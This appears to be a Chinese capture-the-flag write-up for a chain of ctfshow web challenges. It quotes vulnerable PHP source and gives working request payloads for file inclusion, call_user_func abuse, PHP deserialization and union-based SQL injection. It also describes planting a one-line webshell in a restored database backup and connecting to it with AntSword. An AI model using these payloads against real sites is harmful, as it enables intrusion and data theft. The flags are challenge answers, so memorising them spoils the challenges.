打开页面就能看到flag
ctfshow{060ae7a27d203604baeb125f939570ef}
抓取首页的包,看到有一个Flag字段
ctfshow{affac61c787a82cc396585bea8ecf2dc}
在上面包里的源码看到css路径不寻常/system36d/static/css/start.css
,在url后添加/system36d
,抓包得到flag。
ctfshow{11a17b6fbdc69cedfb374f55026700fe}
出现一个登录界面,f12查看源码,看看能不能找到密码,找到加密的js代码tatic/js/lock/index.js
,在里面发现web644的flag
那么密码就是0x36D
,最后出现了web644的flag
ctfshow{616cd5fc37968fc20810b2db30152717}
ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}
找到执行命令的页面,抓包
测试发现能用ls
,看到下面的这些文件
可能过滤了n多个符号,没法用空格,试试页面上直接访问secret.txt
,得到一串十六进制数,转成ascii码得到web643的flag
有一个数据备份功能,把文件下载后得到flag
ctfshow{28b00f799c2e059bafaa1d6bda138d89}
可以看到远程更新那里要输入web645的flag,输入后抓包,看到有一个update_address参数,试一试文件包含
?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=/var/www/html/system36d/init.php
得到flag
ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
查看users.php
evilString($m)
{
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE)
{
echo shell_exec('cat \/FLAG\/FLAG647');
}
else
{
echo 'you are not 372619038?';
}
}
checklogin.php
$s=$_GET['s'];
setcookie('uid',intval($s));
$_SESSION['user_id']=intval($s);
header('location:main.php');
647的flag的cookie值是372619038,先访问
/system36d/checklogin.php?s=372619038
再访问
/system36d/users.php?action=evilString&m=session_encode
得到flag
ctfshow{e6ad8304cdb562971999b476d8922219}
我整理了下完整的代码
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
}
function evilClass($m,$k){
class ctfshow
{
public $m;
public function construct($m)
{
$this->$m = $m;
}
}
$ctfshow = new ctfshow($m);
$ctfshow->$m = $m;
if ($ctfshow->$m == $m && $k == shell_exec('cat /FLAG/FLAG647')) {
echo shell_exec('cat /FLAG/FLAG648');
} else {
echo 'mmmmm?';
}
}
唯一要注意的是shell_exec('cat /FLAG/FLAG647')
的结果是flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
,而不是单独的一个flag
/system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=m
得到flag
ctfshow{af5b5e411813eafd8dc2311df30b394e}
先看代码
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
}
function evilNumber($m, $k)
{
$number = getArray(1000, 20, 10, 999);
if ($number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) {
echo shell_exec('cat /FLAG/FLAG649');
} else {
echo 'number is right?';
}
}
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total)
{
return array();
}
if ($max * $times < $total)
{
return array();
}
while ($times >= 1)
{
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
getArray()函数用于生成随机数,直接不传值就行
/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
}
function evilFunction($m, $k)
{
$key = 'ffffffff';
$content = call_user_func($m);
if (stripos($content, $key) !== FALSE && $k == shell_exec('cat \/FLAG\/FLAG649')) {
echo shell_exec('cat /FLAG/FLAG650');
} else {
echo 'you are not ffffffff?';
}
}
要让$content
的函数值中有$key
的内容,可以把cookie中的SESSIONID
改成ffffffff
即可
/system36d/users.php?action=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=session_id
flag
ctfshow{5eae22d9973a16a0d37c9854504b3029}
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'evilArray':
evilArray($_GET['m'],$_GET['key']);
break;
}
function evilArray($m, $k)
{
$arrays = unserialize($m);
if ($arrays !== false) {
if (array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k == shell_exec('cat /FLAG/FLAG650')) {
echo shell_exec('cat /FLAG/FLAG651');
} else {
echo 'array?';
}
}
}
这里的要求是数组中的键是username
,值是ctfshow
,构造一下
class web651{
public $username='ctfshow';
}
echo urlencode(serialize(new web651()));
传值即可得到flag
/system36d/users.php?action=evilArray&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}&m=O%3A6%3A%22web651%22%3A1%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22ctfshow%22%3B%7D
ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
查看page.php和util/dbutil.php的代码,发现有sql操作
page.php
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
$id = addslashes($id);
$name = db::get_username($id);
?>
util/dbutil.php
class db{
private static $host='localhost';
private static $username='root';
private static $password='root';
private static $database='ctfshow';
private static $conn;
public static function get_key(){
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
private static function get_conn(){
if(self::$conn==null){
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}
private static function close(){
if(self::$conn!==null){
self::$conn->close();
}
}
}
这里使用了addslashes()
函数来防注入,但是url编码就可以绕过。发现回显点在标题上
/page.php?id=1000)%20union%20select%20database()%23
库名是ctfshow
;
information_schema应该是被过滤了,所以换mysql.innodb_table_stats
获取表名
/page.php?id=1000) union select group_concat(table_name) from mysql.innodb_table_stats where database_name = database()%23
表名有ctfshow_keys,ctfshow_secret,ctfshow_users
;
/page.php?id=1000) union select * from ctfshow_secret%23
得到flag,并查出key值为key_is_here_you_know
ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
查看common.php的代码
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat \/FLAG\/FLAG651')){\n
die('651flag\u672a\u62ff\u5230');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
if(db::get_key()==$_POST['key']){
include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
}
}
有文件包含可以利用,想到前面有一个备份的下载和上传功能,也知道了db文件的位置
先下载备份文件,在里面添加一句话木马后通过数据还原上传,然后包含
GET:
http://42bca333-4e6a-47dd-aac9-ac355892c78e.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
POST:
key=key_is_here_you_know&file=../db/data_you_never_know.db&a=phpinfo();
蚁剑连接后在根目录找到flag
ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
见UDF提权